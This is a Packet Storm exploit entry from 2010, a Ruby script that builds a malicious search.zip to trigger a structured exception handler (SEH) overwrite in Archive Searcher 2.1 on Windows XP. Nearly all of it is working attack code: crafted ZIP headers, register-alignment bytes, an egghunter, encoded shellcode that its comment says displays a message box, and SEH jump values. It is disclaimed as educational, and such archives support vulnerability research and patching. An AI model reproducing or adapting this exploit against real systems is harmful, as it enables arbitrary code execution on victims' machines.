Archive Searcher 2.1 SEH Overwrite

2010-04-17T00:00:00
ID PACKETSTORM:88513
Type packetstorm
Reporter Lincoln
Modified 2010-04-17T00:00:00

Description

                                        
                                            `#!/usr/bin/ruby  
# Software : Archive Searcher 2.1  
# Author : Lincoln  
# OS : Windows  
# Tested on : XP SP3 En (VirtualBox)  
# Type of vuln : SEH  
# Greetz to : Corelan Security Team  
# http://www.corelan.be:8800/index.php/security/corelan-team-members/  
#  
# Script provided 'as is', without any warranty.  
# Use for educational purposes only.  
# Do not use this code to do anything illegal !  
#  
# Note : you are not allowed to edit/modify this code.  
# If you do, Corelan cannot be held responsible for any damages this may cause.  
#  
#  
# Search for file in application, ex: point to desktop and click seach now  
# Character restrictions, upper case alpha converted, A -> a etc.  
#  
#  
banner =  
"|------------------------------------------------------------------|\n" +  
"| __ __ |\n" +  
"| _________ ________ / /___ _____ / /____ ____ _____ ___ |\n" +  
"| / ___/ __ \\/ ___/ _ \\/ / __ `/ __ \\ / __/ _ \\/ __ `/ __ `__ \\ |\n" +  
"| / /__/ /_/ / / / __/ / /_/ / / / / / /_/ __/ /_/ / / / / / / |\n" +  
"| \\___/\\____/_/ \\___/_/\\__,_/_/ /_/ \\__/\\___/\\__,_/_/ /_/ /_/ |\n" +  
"| |\n" +  
"| http://www.corelan.be:8800 |\n" +  
"| |\n" +  
"|-------------------------------------------------[ EIP Hunters ]--|\n\n"  
  
print banner  
puts "[+] Exploit for Archive Searcher 2.1"  
  
#Zip Headers  
header1=  
"\x50\x4b\x03\x04\x14\x00\x00\x00" +  
"\x00\x00\xb7\xac\xce\x34\x00\x00" +  
"\x00\x00\x00\x00\x00\x00\x00\x00" +  
"\x00\xe4\x0f\x00\x00\x00"  
  
header2=  
"\x50\x4b\x01\x02\x14\x00\x14\x00" +  
"\x00\x00\x00\x00\xb7\xac\xce\x34" +  
"\x00\x00\x00\x00\x00\x00\x00\x00" +  
"\x00\x00\x00\x00\xe4\x0f\x00\x00" +  
"\x00\x00\x00\x00\x01\x00\x24\x00" +  
"\x00\x00\x00\x00\x00\x00"  
  
header3=  
"\x50\x4B\x05\x06\x00\x00\x00\x00" +  
"\x01\x00\x01\x00\x12\x10\x00\x00" +  
"\x02\x10\x00\x00\x00\x00"  
  
#Align regs # jmp esi # jmp to egg  
align=  
"\x90\x90\xeb\x3b\x90\x90\x90\x61" +  
"\x61\x61\x61\x61\x61\x61\x61\x61" +  
"\x61\x61\x61\x61\x61\x61\x61\x61" +  
"\x61\x61\x61\x61\x61\x61\x61\x61" +  
"\x61\x61\x61\x61\x61\x61\x61\x61" +  
"\x61\x61\x61\x61\x61\x61\x61\x61" +  
"\x61\x61\x61\x61\x61\x61\x61\x61" +  
"\x5e\x5e\x5e\x5e\x5e\xff\xe6"  
  
#modified egghunter, mov edx,esi   
egg =  
"\x89\xf2\x42\x52\x6a\x02\x58\xcd" +  
"\x2e\x3c\x05\x5a\x74\xef\xb8\x77" +  
"\x30\x30\x74\x8B\xfa\xaf\x75\xea" +  
"\xaf\x75\xe7\xff\xe7"  
  
  
#msgbox: "Exploited by Corelan Security Team"  
shellcode =  
"w00tw00t" +  
"\x89\xe3\xda\xd7\xd9\x73\xf4\x59\x49\x49\x49\x49\x49\x49" +  
"\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a" +  
"\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41" +  
"\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42" +  
"\x75\x4a\x49\x4a\x79\x4a\x4b\x4d\x4b\x4b\x69\x51\x64\x45" +  
"\x74\x4a\x54\x45\x61\x4e\x32\x4e\x52\x42\x5a\x46\x51\x49" +  
"\x59\x42\x44\x4e\x6b\x51\x61\x44\x70\x4c\x4b\x43\x46\x44" +  
"\x4c\x4e\x6b\x42\x56\x47\x6c\x4c\x4b\x51\x56\x44\x48\x4c" +  
"\x4b\x51\x6e\x45\x70\x4e\x6b\x45\x66\x50\x38\x50\x4f\x47" +  
"\x68\x50\x75\x4c\x33\x50\x59\x45\x51\x4b\x61\x4b\x4f\x48" +  
"\x61\x51\x70\x4c\x4b\x50\x6c\x46\x44\x45\x74\x4c\x4b\x51" +  
"\x55\x47\x4c\x4c\x4b\x50\x54\x43\x35\x50\x78\x43\x31\x4b" +  
"\x5a\x4c\x4b\x42\x6a\x47\x68\x4e\x6b\x43\x6a\x47\x50\x45" +  
"\x51\x4a\x4b\x48\x63\x46\x57\x50\x49\x4e\x6b\x44\x74\x4c" +  
"\x4b\x45\x51\x4a\x4e\x44\x71\x49\x6f\x50\x31\x4b\x70\x4b" +  
"\x4c\x4e\x4c\x4f\x74\x4b\x70\x43\x44\x46\x6a\x4a\x61\x4a" +  
"\x6f\x44\x4d\x47\x71\x4b\x77\x48\x69\x4a\x51\x4b\x4f\x49" +  
"\x6f\x49\x6f\x45\x6b\x43\x4c\x45\x74\x51\x38\x51\x65\x49" +  
"\x4e\x4e\x6b\x42\x7a\x45\x74\x45\x51\x4a\x4b\x43\x56\x4e" +  
"\x6b\x46\x6c\x42\x6b\x4c\x4b\x43\x6a\x45\x4c\x43\x31\x4a" +  
"\x4b\x4e\x6b\x45\x54\x4e\x6b\x47\x71\x4d\x38\x4f\x79\x51" +  
"\x54\x46\x44\x47\x6c\x45\x31\x4a\x63\x4f\x42\x44\x48\x46" +  
"\x49\x48\x54\x4f\x79\x4b\x55\x4d\x59\x49\x52\x50\x68\x4c" +  
"\x4e\x50\x4e\x44\x4e\x48\x6c\x50\x52\x4b\x58\x4d\x4c\x4b" +  
"\x4f\x49\x6f\x4b\x4f\x4f\x79\x51\x55\x46\x64\x4d\x6b\x51" +  
"\x6e\x49\x48\x4d\x32\x51\x63\x4c\x47\x45\x4c\x44\x64\x51" +  
"\x42\x4d\x38\x4e\x6b\x49\x6f\x49\x6f\x4b\x4f\x4c\x49\x42" +  
"\x65\x47\x78\x43\x58\x42\x4c\x50\x6c\x45\x70\x4b\x4f\x51" +  
"\x78\x47\x43\x45\x62\x46\x4e\x45\x34\x45\x38\x51\x65\x51" +  
"\x63\x45\x35\x44\x32\x4d\x58\x51\x4c\x44\x64\x44\x4a\x4c" +  
"\x49\x48\x66\x43\x66\x4b\x4f\x43\x65\x46\x64\x4c\x49\x4b" +  
"\x72\x50\x50\x4d\x6b\x4e\x48\x4c\x62\x50\x4d\x4d\x6c\x4e" +  
"\x67\x47\x6c\x47\x54\x46\x32\x4b\x58\x43\x6e\x49\x6f\x49" +  
"\x6f\x49\x6f\x42\x48\x51\x74\x45\x71\x51\x48\x45\x70\x43" +  
"\x58\x44\x30\x43\x47\x42\x4e\x42\x45\x44\x71\x4b\x6b\x4b" +  
"\x38\x43\x6c\x45\x74\x46\x66\x4b\x39\x48\x63\x45\x38\x50" +  
"\x61\x42\x4d\x50\x58\x45\x70\x51\x78\x42\x59\x45\x70\x50" +  
"\x54\x51\x75\x51\x78\x44\x35\x43\x42\x50\x69\x51\x64\x43" +  
"\x58\x51\x30\x43\x63\x45\x35\x43\x53\x51\x78\x42\x45\x42" +  
"\x4c\x50\x61\x50\x6e\x42\x48\x51\x30\x51\x53\x50\x6f\x50" +  
"\x72\x45\x38\x43\x54\x51\x30\x50\x62\x43\x49\x51\x78\x42" +  
"\x4f\x43\x59\x42\x54\x50\x65\x51\x78\x42\x65\x51\x68\x42" +  
"\x50\x50\x6c\x46\x51\x48\x49\x4e\x68\x50\x4c\x46\x44\x45" +  
"\x72\x4d\x59\x49\x71\x44\x71\x4a\x72\x43\x62\x43\x63\x50" +  
"\x51\x46\x32\x4b\x4f\x48\x50\x50\x31\x4f\x30\x46\x30\x4b" +  
"\x4f\x51\x45\x44\x48\x45\x5a\x41\x41"  
  
size = 4064  
junk = "\x90" * (267 - (align.length + egg.length))  
  
jseh = "\xe9\xf7\xfe\xff\xff" #jmp back to popad's  
nseh = "\xeb\xf9\x90\x90" #jmp back to near jump  
seh = "\x0c\x14\x40\x00" #universal  
  
payload = align + egg + junk + jseh + nseh + seh + shellcode  
rest = "D" * (size - payload.length)  
final = payload + rest + ".txt"  
  
filename = "search.zip"  
f = File.new(filename, 'w')  
f.write header1 + final + header2 + final + header3  
f.close  
  
puts "[+] file size : #{final.length}"  
puts "[+] Wrote exploit file : #{filename}"  
puts "[+] Search for zip and boom!\n\n"  
`